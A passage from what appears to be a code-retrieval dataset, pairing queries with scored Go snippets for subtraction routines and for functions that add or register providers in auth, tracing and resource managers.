0\n\tfor i = 0; i < len2; i++ {\n\t\tdiff = ((l1[i] - l2[i]) - carry)\n\t\tif diff < 0 {\n\t\t\tdiff += 10\n\t\t\tcarry++\n\t\t} else {\n\t\t\tcarry = 0\n\t\t}\n\t\tresult = append(result, diff)\n\t}\n\tfor i = len2; i < len1; i++ {\n\t\tdiff = l1[i] - carry\n\t\tif diff < 0 {\n\t\t\tdiff += 10\n\t\t\tcarry++\n\t\t} else {\n\t\t\tcarry = 0\n\t\t}\n\t\tresult = append(result, diff)\n\t}\n\tanswer := BigInt{\n\t\tsign: Positive,\n\t\tnum: result,\n\t}\n\tanswer.Clean()\n\treturn answer\n}", "title": "" }, { "docid": "c07d296bc0759d59259c2a9ef3400eef", "score": "0.49167797", "text": "func (a Axis) SubFloat(idx int, y float64) (Axis, error) {\n\tx, err := strconv.ParseFloat(a[idx], 64)\n\tif err != nil {\n\t\treturn a, err\n\t}\n\n\ta[idx] = strconv.FormatFloat(x-y, 'f', -1, 64)\n\treturn a, nil\n}", "title": "" }, { "docid": "f86dd56309c07cf2a64e1e3175f79e77", "score": "0.49165115", "text": "func isSubset(sub, super []int) bool {\n\tset := make(map[int]int)\n\tfor _, val := range super {\n\t\tset[val] += 1\n\t}\n\n\tfor _, val := range sub {\n\t\tif set[val] == 0 {\n\t\t\treturn false\n\t\t}\n\t\tset[val] -= 1\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "9923a44111902bc248d5d0cbe24ac074", "score": "0.49087983", "text": "func (d Decimal64) Sub(e Decimal64) Decimal64 {\n\treturn d.Add(e.Neg())\n}", "title": "" }, { "docid": "0edb242573959adb2836b0b98b31a7cd", "score": "0.4907403", "text": "func (app *computer) Substract(first computable.Value, second computable.Value) (computable.Value, error) {\n\tif !app.typeMatch(first, second) {\n\t\treturn nil, errors.New(\"the 'substract' operation can't execute because the variable types mismatch\")\n\t}\n\n\tif first.IsIntHeight() {\n\t\tfirstVal := first.IntHeight()\n\t\tsecondVal := second.IntHeight()\n\t\tval := int8(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithInt8(val).Now()\n\t}\n\n\tif first.IsIntSixteen() {\n\t\tfirstVal := first.IntSixteen()\n\t\tsecondVal := second.IntSixteen()\n\t\tval := int16(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithInt16(val).Now()\n\t}\n\n\tif first.IsIntThirtyTwo() {\n\t\tfirstVal := first.IntThirtyTwo()\n\t\tsecondVal := second.IntThirtyTwo()\n\t\tval := int32(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithInt32(val).Now()\n\t}\n\n\tif first.IsIntSixtyFour() {\n\t\tfirstVal := first.IntSixtyFour()\n\t\tsecondVal := second.IntSixtyFour()\n\t\tval := int64(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithInt64(val).Now()\n\t}\n\n\tif first.IsUintHeight() {\n\t\tfirstVal := first.UintHeight()\n\t\tsecondVal := second.UintHeight()\n\t\tval := uint8(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithUint8(val).Now()\n\t}\n\n\tif first.IsUintSixteen() {\n\t\tfirstVal := first.UintSixteen()\n\t\tsecondVal := second.UintSixteen()\n\t\tval := uint16(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithUint16(val).Now()\n\t}\n\n\tif first.IsUintThirtyTwo() {\n\t\tfirstVal := first.UintThirtyTwo()\n\t\tsecondVal := second.UintThirtyTwo()\n\t\tval := uint32(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithUint32(val).Now()\n\t}\n\n\tif first.IsUintSixtyFour() {\n\t\tfirstVal := first.UintSixtyFour()\n\t\tsecondVal := second.UintSixtyFour()\n\t\tval := uint64(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithUint64(val).Now()\n\t}\n\n\tif first.IsFloatThirtyTwo() {\n\t\tfirstVal := first.FloatThirtyTwo()\n\t\tsecondVal := second.FloatThirtyTwo()\n\t\tval := float32(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithFloat32(val).Now()\n\t}\n\n\tif first.IsFloatSixtyFour() {\n\t\tfirstVal := first.FloatSixtyFour()\n\t\tsecondVal := second.FloatSixtyFour()\n\t\tval := float64(*firstVal - *secondVal)\n\t\treturn app.builder.Create().WithFloat64(val).Now()\n\t}\n\n\treturn nil, errors.New(\"the 'substract' operation can only execute on these types: int8, in16, int32, int64, uint8, uint16, uint32, uint64, float32, float64\")\n}", "title": "" }, { "docid": "2845d60c5dffd2be3f6e20b7b5c468b2", "score": "0.48996037", "text": "func (v Value) Subsumes(w Value) bool {\n\treturn subsumes(v, w, subChoose) == nil\n}", "title": "" }, { "docid": "7d89d2dab6a1fe9ea7432151f1d283f7", "score": "0.48965633", "text": "func (c *Calculator) Sub(x int) {\n\tc.result -= x\n}", "title": "" }, { "docid": "454fbd9bc6172b987e3096b3370ee800", "score": "0.48886544", "text": "func Sub() dsp.Processer {\n\treturn dsp.NewProc(defaultBufSize, func(idx int, in ...dsp.Processer) (dsp.Value, error) {\n\t\tif len(in) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"proc Sub needs 2 inputs got %d\", len(in))\n\t\t}\n\t\tvec0, e0 := dsp.Get(in[0], idx)\n\t\tif e0 != nil {\n\t\t\treturn nil, e0\n\t\t}\n\t\tvec1, e1 := dsp.Get(in[1], idx)\n\t\tif e1 != nil {\n\t\t\treturn nil, e1\n\t\t}\n\t\treturn narray.Sub(nil, vec0.(*narray.NArray), vec1.(*narray.NArray)), nil\n\t})\n}", "title": "" }, { "docid": "11179a0366ea07226abec72597e76515", "score": "0.48864102", "text": "func (v Vector) Sub(addvector Vector) (sum Vector, err error) {\n\tif v.Len() != addvector.Len() {\n\t\treturn nil, ErrAdd\n\t}\n\n\tfor i := 0; i < v.Len(); i++ {\n\t\tsum = append(sum, v[i]-addvector[i])\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "64d7075b89b28579f90e88013471aa41", "score": "0.48828733", "text": "func Subp(a, b int) int {\n\tr, ok := Sub(a, b)\n\tif !ok {\n\t\tpanic(\"subtraction overflow\")\n\t}\n\treturn r\n}", "title": "" }, { "docid": "fb641ee0de91c335a0e8726def3f3ace", "score": "0.48754573", "text": "func (pg *ProcessGroup) Sub(other *ProcessGroup) (added []string, changed []string, removed []string) {\n\tthisGroup := pg.GetAllGroup()\n\totherGroup := other.GetAllGroup()\n\tadded = util.Sub(thisGroup, otherGroup)\n\tchanged = make([]string, 0)\n\tremoved = util.Sub(otherGroup, thisGroup)\n\n\tfor _, group := range thisGroup {\n\t\tproc1 := pg.GetAllProcess(group)\n\t\tproc2 := other.GetAllProcess(group)\n\t\tif len(proc2) > 0 && !util.IsSameStringArray(proc1, proc2) {\n\t\t\tchanged = append(changed, group)\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "b30394975d6feafca5b73de5b17f5336", "score": "0.48712042", "text": "func (m *M64) Sub(n *M64) error {\n\treturn sub(m, n, m)\n}", "title": "" }, { "docid": "01b4678138ef9ff5b8d0e4e9ed1c0977", "score": "0.48661178", "text": "func (f *FieldSelection) Delete(field string, delimiter ...string) bool {\n\tif len(field) == 0 || f.Fields == nil {\n\t\treturn false\n\t}\n\tparts := toParts(field, delimiter...)\n\tname := parts[0]\n\ttmp := f.Fields\n\n\tfor i := 0; i < len(parts); i++ {\n\t\tname = parts[i]\n\t\tif _, ok := tmp[name]; !ok {\n\t\t\treturn false //such field do not exist if FieldSelection\n\t\t}\n\t\tif i < len(parts)-1 {\n\t\t\ttmp = tmp[name].Subs\n\t\t\tif tmp == nil {\n\t\t\t\treturn false //such field do not exist if FieldSelection\n\t\t\t}\n\t\t}\n\t}\n\tdelete(tmp, name)\n\treturn true\n}", "title": "" }, { "docid": "f89f23f4138d983e02b05bf4ecacecd1", "score": "0.486468", "text": "func Sub(ma, mb *Matrix) *Matrix {\n\tif ma.m != mb.m && ma.n != mb.n {\n\t\tpanic(\"Dimensions of matrix A and matrix B must be equal\")\n\t}\n\tmc := &Matrix{ma.m, ma.n, make([]float64, ma.m * ma.n)}\n\tif ma.n > 15 {\n\t\tr, c := ma.m, ma.n\n\t\tfor i := 0; i < r; i++ {\n\t\t\tsub_vec(ma.data[i*c:i*c+c],\n\t\t\t\tmb.data[i*c:i*c+c], mc.data[i*c:i*c+c])\n\t\t}\n\t} else {\n\t\tfor i := 0; i < ma.m * ma.n; i++ {\n\t\t\tmc.data[i] = ma.data[i] - mb.data[i]\n\t\t}\n\t}\n\treturn mc\n}", "title": "" }, { "docid": "70db147ee8d0d27f8b6027fb6ef6672a", "score": "0.48539114", "text": "func TestFqSub(t *testing.T) {\n\ttests := map[string]struct {\n\t\tx, y, want fq\n\t}{\n\t\t\"2 - 1 = 1\": {x: fq{2}, y: fq{1}, want: fq{1}},\n\t\t\"1 - 2 = last\": {x: fq{1}, y: fq{2}, want: fq{0xB9FEFFFFFFFFAAAA, 0x1EABFFFEB153FFFF, 0x6730D2A0F6B0F624, 0x64774B84F38512BF, 0x4B1BA7B6434BACD7, 0x1A0111EA397FE69A}},\n\t\t\"1 - 1 = 0\": {x: fq{1}, y: fq{1}, want: fq{}},\n\t\t\"0 - last = 1\": {x: fq{}, y: fq{0xB9FEFFFFFFFFAAAA, 0x1EABFFFEB153FFFF, 0x6730D2A0F6B0F624, 0x64774B84F38512BF, 0x4B1BA7B6434BACD7, 0x1A0111EA397FE69A}, want: fq{1}},\n\t}\n\tfor name, tc := range tests {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tvar got fq\n\t\t\tfqSub(&got, &tc.x, &tc.y)\n\t\t\tif got != tc.want {\n\t\t\t\tt.Fatalf(\"expected: %v, got: %v\", tc.want, got)\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "34eef9cf1087295573497dc99b50a934", "score": "0.48525888", "text": "func (a Bigint) Gop_SubAssign(b Bigint) {\n\ta.Int.Sub(a.Int, b.Int)\n}", "title": "" } ]
7d8c3f86c40be2960d3671dcc703b233
AddProvider adds a provided provider to the list of configured providers
[ { "docid": "8df7e15a20f8f7d0c057ead218cd5273", "score": "0.7995299", "text": "func (a *Authenticator) AddProvider(provider corev3.AuthProvider) {\n\ta.mu.Lock()\n\tdefer a.mu.Unlock()\n\n\t// Make sure the providers map is not nil\n\tif a.providers == nil {\n\t\ta.providers = map[string]corev3.AuthProvider{}\n\t}\n\n\ta.providers[provider.Name()] = provider\n}", "title": "" } ]
[ { "docid": "b12d7b1e31e2f1c944321dbe736920b8", "score": "0.8234901", "text": "func (m *Manager) AddProvider(name string, provider Provider) {\n\tm.providers[name] = provider\n}", "title": "" }, { "docid": "95c0a4fd63e0cad0cdb30b3a653ad4a4", "score": "0.78206193", "text": "func (k *Kloud) AddProvider(providerName string, provider interface{}) error {\n\t_, ok := k.providers[providerName]\n\tif ok {\n\t\tNewError(ErrProviderAvailable)\n\t}\n\n\tk.providers[providerName] = provider\n\treturn nil\n}", "title": "" }, { "docid": "bc79d1716c76df0d459297cec38b3fad", "score": "0.7804503", "text": "func (s *Auth[T]) AddProvider(providers ...Provider[T]) *Auth[T] {\n\t// A provider can also implement both transformer and\n\t// error handler if that's the design option of the end-developer.\n\tfor _, p := range providers {\n\t\tif s.transformer == nil {\n\t\t\tif transformer, ok := p.(Transformer[T]); ok {\n\t\t\t\ts.SetTransformer(transformer)\n\t\t\t}\n\t\t}\n\n\t\tif errHandler, ok := p.(ErrorHandler); ok {\n\t\t\ts.SetErrorHandler(errHandler)\n\t\t}\n\n\t\tif s.claimsProvider == nil {\n\t\t\tif claimsProvider, ok := p.(ClaimsProvider); ok {\n\t\t\t\ts.claimsProvider = claimsProvider\n\t\t\t}\n\t\t}\n\t}\n\n\ts.providers = append(s.providers, providers...)\n\treturn s\n}", "title": "" }, { "docid": "dbddc258555ef517304c902381b6ac5a", "score": "0.75727206", "text": "func (d *Detector) AddProvider(prov dep_radar.IProvider) *Detector {\n\td.Providers = append(d.Providers, prov)\n\treturn d\n}", "title": "" }, { "docid": "6022f2d843556053c9c6e9507b1c213c", "score": "0.7026512", "text": "func RegisterProvider(family int, provider Provider) {\n\tfamilies[family] = append(families[family], provider)\n}", "title": "" }, { "docid": "c2faa82cc05444f9be20077d57e785db", "score": "0.6698348", "text": "func (pool ProviderPool) Add(p *Provider) {\n\tpool[p.String()] = p.Public()\n}", "title": "" }, { "docid": "3e973e18583e97b3cdadfbbc519008f1", "score": "0.66446215", "text": "func RegisterProvider(name string, p Factory) {\n\tprovidersMutex.Lock()\n\tdefer providersMutex.Unlock()\n\tif _, found := providers[name]; !found {\n\t\tlogrus.Debugf(\"registered provider %s\", name)\n\t\tproviders[name] = p\n\t}\n}", "title": "" }, { "docid": "547a353d7c27ddba24c8829db6c3b343", "score": "0.6606772", "text": "func RegisterProvider(name string, provider Provider) {\n\n\tif provider == nil {\n\t\tpanic(\"data: Register provider is nil\")\n\t}\n\n\tif _, dup := providers[name]; dup {\n\t\tpanic(\"data: Register called twice for provider \" + name)\n\t}\n\tproviders[name] = provider\n}", "title": "" }, { "docid": "3f98acb58531c7ced3fcf119a7743bae", "score": "0.6493166", "text": "func RegisterConfigProvider(provider ConfigProvider) {\n mutex.Lock()\n defer mutex.Unlock()\n\n if priList.Len() < 1 {\n e := priList.PushFront(provider)\n providerMap[provider.Name()] = e\n } else {\n for i := priList.Front(); i != nil; i = i.Next() {\n if i.Next() == nil {\n e := priList.InsertAfter(provider, i)\n providerMap[provider.Name()] = e\n break\n }\n\n next := i.Next().Value.(ConfigProvider)\n if next.Priority() >= provider.Priority() {\n e := priList.InsertAfter(provider, i)\n providerMap[provider.Name()] = e\n break\n }\n }\n }\n\n cfgPerfs.Increment(PERF_CFG_PROVIDER_REGISTERED)\n\n log.Info(\"ConfigProvider %v registered\", provider.Name())\n}", "title": "" }, { "docid": "87aa6c6b5adf2e9bf31d26d35052d780", "score": "0.648886", "text": "func (g *Graph) AddGlobalProvider(providedID string, val reflect.Value) {\n\tg.Providers[providedID] = val\n}", "title": "" }, { "docid": "a11137c87056f8156b0dd2948c1baa68", "score": "0.6482072", "text": "func Register(p Provider) {\n\tproviders = append(providers, p)\n}", "title": "" }, { "docid": "b18ee16407f3853b962adcec67d6f8c9", "score": "0.6477958", "text": "func RegisterProvider(providerName, providerType, clientID, clientSecret string) {\n\tprovider := createProvider(providerName, providerType, clientID, clientSecret)\n\n\tif provider != nil {\n\t\tgoth.UseProviders(provider)\n\t}\n}", "title": "" }, { "docid": "d15316a539fecf2a3c1f68ea50bdc961", "score": "0.64747226", "text": "func (a *Application) registerProvider(name string, provider contract.Provider) {\n\ta.registerMutex.Lock()\n\ta.providers[name] = a.Make(provider).(contract.Provider)\n\ta.registerMutex.Unlock()\n}", "title": "" }, { "docid": "a21774311d2b84ef74e15a9b390c7e56", "score": "0.64491373", "text": "func (p *portalProxy) AddAuthProvider(name string, provider interfaces.AuthProvider) {\n\tp.AuthProviders[name] = provider\n}", "title": "" }, { "docid": "749f2b46e183b11ae29b31d3d6d44fc1", "score": "0.64447576", "text": "func rsrcProviderAdd(rsrcPrvd ResourceProvide) error {\n\trsrcType := rsrcPrvd.Type\n\trcrcProvider := rsrcPrvd.Provider\n\n\t// Add the resource type if it doesnt already exist\n\tif rsrcMgr.rsrcDb[rsrcType] == nil {\n\t\trsrcMgr.rsrcDb[rsrcType] = &Resource{\n\t\t\tType: rsrcType,\n\t\t\tProviders: make(map[string]*RsrcProvider),\n\t\t}\n\n\t\tlog.Infof(\"Added Resource: %+v\", rsrcMgr.rsrcDb[rsrcType])\n\t}\n\n\trsrc := rsrcMgr.rsrcDb[rsrcType]\n\n\t// Check if the provider already exist\n\tif rsrc.Providers[rcrcProvider] != nil {\n\t\t// FIXME: handle this gracefully\n\t\treturn nil\n\t}\n\n\t// Add the provider to the DB\n\trsrc.Providers[rcrcProvider] = &RsrcProvider{\n\t\tType: rsrcType,\n\t\tProvider: rcrcProvider,\n\t\tUnitType: rsrcPrvd.UnitType,\n\t\tNumRsrc: rsrcPrvd.NumRsrc,\n\t\tUsedRsrc: 0,\n\t\tFreeRsrc: rsrcPrvd.NumRsrc,\n\t\tRsrcUsers: make(map[string]*RsrcUser),\n\t}\n\n\t// For descrete units, create a bitmap\n\tif rsrcPrvd.UnitType == \"descrete\" {\n\t\trsrc.Providers[rcrcProvider].rsrcBitset = bitset.New(uint(rsrcPrvd.NumRsrc))\n\t}\n\n\tlog.Infof(\"Added Resource Provider: %+v\", rsrc.Providers[rcrcProvider])\n\n\t// Store the resource onto confStore\n\terr := cdbSaveProvider(rsrc.Providers[rcrcProvider])\n\tif err != nil {\n\t\tlog.Errorf(\"Error saving provider to conf store\")\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "4fd6947e5bfb7703493717fb72037902", "score": "0.6421147", "text": "func (svc *ProxyService) RegisterProvider(key string, p *openid.AuthenticationProvider) {\n\tsvc.providers[key] = p\n}", "title": "" }, { "docid": "7d52c5ac7b5eb7939cc4e2fbea9fc416", "score": "0.6405036", "text": "func RegisterProvider(p ttnpb.ApplicationPubSub_Provider, implementation Provider) {\n\tt := reflect.TypeOf(p)\n\tif _, ok := providers[t]; ok {\n\t\tpanic(errAlreadyRegistered.WithAttributes(\"provider_id\", fmt.Sprintf(\"%T\", p)))\n\t}\n\tproviders[t] = implementation\n}", "title": "" }, { "docid": "81d970d01fb2f9741e7860a00e1c5b88", "score": "0.6378998", "text": "func Provider(providers ...interface{}) error {\n\td.Use(ProviderOptions(providers...))\n\treturn nil\n}", "title": "" }, { "docid": "107788c5eedcf78060555160af02f16a", "score": "0.63562673", "text": "func (p *Platform) RegisterProviders(ignoreExists bool, opts ...provider.ProviderConfig) error {\n\tfor _, opt := range opts {\n\n\t\tif _, ok := p.providers[opt.Type]; ok {\n\t\t\tif !ignoreExists {\n\t\t\t\treturn fmt.Errorf(\"provider of type '%s' already registered\", opt.Type.String())\n\t\t\t}\n\t\t}\n\t\tp.providers[opt.Type] = opt\n\n\t\tswitch opt.Type {\n\t\tcase provider.TypeErrorReporter:\n\t\t\tp.errorReportingProvider = opt.Impl().(provider.ErrorReportingProvider)\n\t\tcase provider.TypeHttpContext:\n\t\t\tp.httpContextProvider = opt.Impl().(provider.HttpContextProvider)\n\t\tcase provider.TypeMetrics:\n\t\t\tp.metricsProvdider = opt.Impl().(provider.MetricsProvider)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7ee261c6148bf9b0ca81f48ce17738a5", "score": "0.6320592", "text": "func (_m *IDb) AddMixProvider(_a0 models.MixProviderPresence) {\n\t_m.Called(_a0)\n}", "title": "" }, { "docid": "57959c22e32bc482d222b18c417d7a4b", "score": "0.62792933", "text": "func Register(name string, provider Provider) error {\n\tif provider == nil {\n\t\treturn fmt.Errorf(\"provider of name %v is nil\", name)\n\t} else if name == \"\" {\n\t\treturn errors.New(\"provided name cannot be empty\")\n\t}\n\n\tproviders[name] = provider\n\treturn nil\n}", "title": "" }, { "docid": "7825421ceb79cdbbb0cb2faca7c9c86a", "score": "0.624398", "text": "func Register(name string, provider Provider) error {\n\tif provider == nil {\n\t\treturn errors.New(\"Register given provider is nil\")\n\t}\n\tif _, dup := providers[name]; dup {\n\t\treturn fmt.Errorf(\"Register called twice for provider: %s\", name)\n\t}\n\tproviders[name] = provider\n\treturn nil\n}", "title": "" }, { "docid": "4f32c4eb83afebc4bf6979b85aff95ee", "score": "0.62185353", "text": "func (s *ProviderService) RegisterProvider(agentID string, provider action.Provider) {\n\ts.providersMutex.Lock()\n\tdefer s.providersMutex.Unlock()\n\n\ts.logger.Info(\"registering agent provider\",\n\t\tzap.String(\"agent_id\", agentID),\n\t)\n\ts.agentIDProviders[agentID] = provider\n}", "title": "" }, { "docid": "c27c634a5d1f9c020e197cd0c0a36ccc", "score": "0.6123406", "text": "func (c *Cache) InsertProvider(p *Provider) {\n\tif !p.IsValidNewProvider() {\n\t\tutil.Logger.Fatalf(\"invalid new provider to insert: #%v\", p)\n\t}\n\tc.providers[p.ID] = p\n\n\tif c.database != nil {\n\t\tcheck(c.database.InsertProvider(p))\n\t}\n}", "title": "" }, { "docid": "bed79c1c2ca2e56795635ce11cca6ee4", "score": "0.61022145", "text": "func Register(name string, p Provider) {\n\tif _, ok := providers[name]; ok {\n\t\tpanic(fmt.Sprintf(\"duplicate provider: %s\", name))\n\t}\n\tproviders[name] = p\n}", "title": "" }, { "docid": "5ce89995fc3e98385a93a7ab61b89aec", "score": "0.60697895", "text": "func (repo *Repository) RegisterProvider(prov Provider) {\n\trepo.mx.Lock()\n\tdefer repo.mx.Unlock()\n\trepo.providers[prov.Name()] = prov\n}", "title": "" }, { "docid": "698bf1ba88db0722db5ecdcf9fbd03d8", "score": "0.59680843", "text": "func RegisterProvider(name string, factory ProvidersFactory) {\n\tprovidersMutex.Lock()\n\tdefer providersMutex.Unlock()\n\tif _, found := providers[name]; found {\n\t\tlogger.Get().Critical(\"Auth provider %s was registered twice\", name)\n\t}\n\tproviders[name] = factory\n}", "title": "" }, { "docid": "4f19cc6a15e94ddc2db5785b15571194", "score": "0.5935297", "text": "func NewProvider(opts ...ProviderOption) (*Provider, error) {\n\to := &ProviderOptions{}\n\n\tfor _, opt := range opts {\n\t\topt(o)\n\t}\n\n\ttp := &Provider{\n\t\tnamedTracer: make(map[instrumentation.Library]*tracer),\n\t}\n\ttp.config.Store(&Config{\n\t\tDefaultSampler: AlwaysSample(),\n\t\tIDGenerator: defIDGenerator(),\n\t\tMaxAttributesPerSpan: DefaultMaxAttributesPerSpan,\n\t\tMaxEventsPerSpan: DefaultMaxEventsPerSpan,\n\t\tMaxLinksPerSpan: DefaultMaxLinksPerSpan,\n\t})\n\n\tfor _, syncer := range o.syncers {\n\t\tssp := NewSimpleSpanProcessor(syncer)\n\t\ttp.RegisterSpanProcessor(ssp)\n\t}\n\n\tfor _, batcher := range o.batchers {\n\t\tbsp, err := NewBatchSpanProcessor(batcher.b, batcher.opts...)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttp.RegisterSpanProcessor(bsp)\n\t}\n\n\ttp.ApplyConfig(o.config)\n\n\treturn tp, nil\n}", "title": "" }, { "docid": "c7404aa44f09e3376a0272d5f61333c9", "score": "0.5930153", "text": "func AddDefaultOptionProvider(provider func() Option) {\n\tdefaultOptionProviders = append(defaultOptionProviders, provider)\n}", "title": "" }, { "docid": "4dff0f689e4636333abf49184ed235e3", "score": "0.59053975", "text": "func Register(name string, p Provider) {\n\tif name == \"\" {\n\t\tpanic(\"provider: could not register an Provider with an empty name\")\n\t}\n\n\tif p == nil {\n\t\tpanic(\"provider: could not register a nil Provider\")\n\t}\n\n\tprovidersM.Lock()\n\tdefer providersM.Unlock()\n\n\tif _, dup := providers[name]; dup {\n\t\tpanic(\"provider: RegisterUpdater called twice for \" + name)\n\t}\n\n\tproviders[name] = p\n}", "title": "" }, { "docid": "108bde43a185c3bf1cd7893287b84dac", "score": "0.58694035", "text": "func NewProvider(cfg *config.Config) (Provider, error) {\n\t// Configure the provider, the provider will take care of the configuration for the\n\t// functions.\n\tregistry := NewRegistry(feature.GlobalRegistry())\n\tproviderFunc, err := registry.Lookup(cfg.Provider.Name())\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error finding the provider '%s', error: %v\", cfg.Provider.Name(), err)\n\t}\n\n\tprovider, err := providerFunc(logp.NewLogger(\"provider\"), registry, cfg.Provider.Config())\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating the provider '%s', error: %v\", cfg.Provider.Name(), err)\n\t}\n\n\treturn provider, nil\n}", "title": "" }, { "docid": "fb435d9732381a9c10d273bbb64de7e7", "score": "0.58285254", "text": "func (ls Service) AddProviderData(user *app.User) (*app.User, error) {\n\tif user.SignupType == \"google\" {\n\t\tgapi := external.NewGoogleAPI(config.Conf)\n\t\tuser, err := gapi.AddGoogleData(user)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn user, nil\n\t}\n\treturn user, nil\n}", "title": "" }, { "docid": "a271b511cbc6187b1f035a9a9c5c76e9", "score": "0.580073", "text": "func Register(name string, provider provider.Provider) {\n\tif provider == nil {\n\t\tpanic(\"cache: Register provider is nil\")\n\t}\n\tif _, dup := providers[name]; dup {\n\t\tpanic(\"cache: Register called twice for provider \" + name)\n\t}\n\tproviders[name] = provider\n}", "title": "" }, { "docid": "33ae84f0232d00db0aaeb570775d7046", "score": "0.5789845", "text": "func RemoveProvider(providerName string) {\n\tdelete(goth.GetProviders(), providerName)\n}", "title": "" }, { "docid": "1d1b63a88700bc5ebcf30bb74e64560b", "score": "0.57736206", "text": "func (s *ServerCommand) addAuthProviders(authenticator *auth.Service) error {\n\tprovidersCount := 0\n\tif s.Auth.Telegram {\n\t\tprovidersCount++\n\t}\n\n\tif s.Auth.Apple.CID != \"\" && s.Auth.Apple.TID != \"\" && s.Auth.Apple.KID != \"\" {\n\t\terr := authenticator.AddAppleProvider(\n\t\t\tprovider.AppleConfig{\n\t\t\t\tClientID: s.Auth.Apple.CID,\n\t\t\t\tTeamID: s.Auth.Apple.TID,\n\t\t\t\tKeyID: s.Auth.Apple.KID,\n\t\t\t\tResponseMode: \"query\", // default is form_post which wouldn't work here\n\t\t\t},\n\t\t\tprovider.LoadApplePrivateKeyFromFile(s.Auth.Apple.PrivateKeyFilePath),\n\t\t)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Google.CID != \"\" && s.Auth.Google.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"google\", s.Auth.Google.CID, s.Auth.Google.CSEC)\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Github.CID != \"\" && s.Auth.Github.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"github\", s.Auth.Github.CID, s.Auth.Github.CSEC)\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Facebook.CID != \"\" && s.Auth.Facebook.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"facebook\", s.Auth.Facebook.CID, s.Auth.Facebook.CSEC)\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Microsoft.CID != \"\" && s.Auth.Microsoft.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"microsoft\", s.Auth.Microsoft.CID, s.Auth.Microsoft.CSEC)\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Yandex.CID != \"\" && s.Auth.Yandex.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"yandex\", s.Auth.Yandex.CID, s.Auth.Yandex.CSEC)\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Twitter.CID != \"\" && s.Auth.Twitter.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"twitter\", s.Auth.Twitter.CID, s.Auth.Twitter.CSEC)\n\t\tprovidersCount++\n\t}\n\tif s.Auth.Patreon.CID != \"\" && s.Auth.Patreon.CSEC != \"\" {\n\t\tauthenticator.AddProvider(\"patreon\", s.Auth.Patreon.CID, s.Auth.Patreon.CSEC)\n\t\tprovidersCount++\n\t}\n\n\tif s.Auth.Dev {\n\t\tlog.Print(\"[INFO] dev access enabled\")\n\t\tu, errURL := url.Parse(s.RemarkURL)\n\t\tif errURL != nil {\n\t\t\treturn fmt.Errorf(\"can't parse Remark42 URL: %w\", errURL)\n\t\t}\n\t\tauthenticator.AddDevProvider(u.Hostname(), 8084)\n\t\tprovidersCount++\n\t}\n\n\tif s.Auth.Email.Enable {\n\t\tparams := sender.EmailParams{\n\t\t\tHost: s.SMTP.Host,\n\t\t\tPort: s.SMTP.Port,\n\t\t\tSMTPUserName: s.SMTP.Username,\n\t\t\tSMTPPassword: s.SMTP.Password,\n\t\t\tTimeOut: s.SMTP.TimeOut,\n\t\t\tStartTLS: s.SMTP.StartTLS,\n\t\t\tLoginAuth: s.SMTP.LoginAuth,\n\t\t\tTLS: s.SMTP.TLS,\n\t\t\tCharset: \"UTF-8\",\n\t\t\tFrom: s.Auth.Email.From,\n\t\t\tSubject: s.Auth.Email.Subject,\n\t\t\tContentType: s.Auth.Email.ContentType,\n\t\t}\n\t\tsndr := sender.NewEmailClient(params, log.Default())\n\t\ttmpl, err := templates.Read(s.Auth.Email.MsgTemplate)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tauthenticator.AddVerifProvider(\"email\", string(tmpl), sndr)\n\t}\n\n\tif s.Auth.Anonymous {\n\t\tlog.Print(\"[INFO] anonymous access enabled\")\n\t\tvar isValidAnonName = regexp.MustCompile(`^[\\p{L}\\d_ ]+$`).MatchString\n\t\tauthenticator.AddDirectProviderWithUserIDFunc(\"anonymous\", provider.CredCheckerFunc(func(user, _ string) (ok bool, err error) {\n\n\t\t\t// don't allow anon with space prefix or suffix\n\t\t\tif strings.HasPrefix(user, \" \") || strings.HasSuffix(user, \" \") {\n\t\t\t\tlog.Printf(\"[WARN] name %q has space as a suffix or prefix\", user)\n\t\t\t\treturn false, nil\n\t\t\t}\n\n\t\t\tuser = strings.TrimSpace(user)\n\t\t\tif len(user) < 3 {\n\t\t\t\tlog.Printf(\"[WARN] name %q is too short, should be at least 3 characters\", user)\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\tif len(user) > 64 {\n\t\t\t\tlog.Printf(\"[WARN] name %q is too long, should be up to 64 characters\", user)\n\t\t\t\treturn false, nil\n\t\t\t}\n\n\t\t\tif !isValidAnonName(user) {\n\t\t\t\tlog.Printf(\"[WARN] name %q should have letters, digits, underscores and spaces only\", user)\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn true, nil\n\t\t}),\n\t\t\t// Custom user ID generator, used to distinguish anonymous users with the same login\n\t\t\t// coming from different 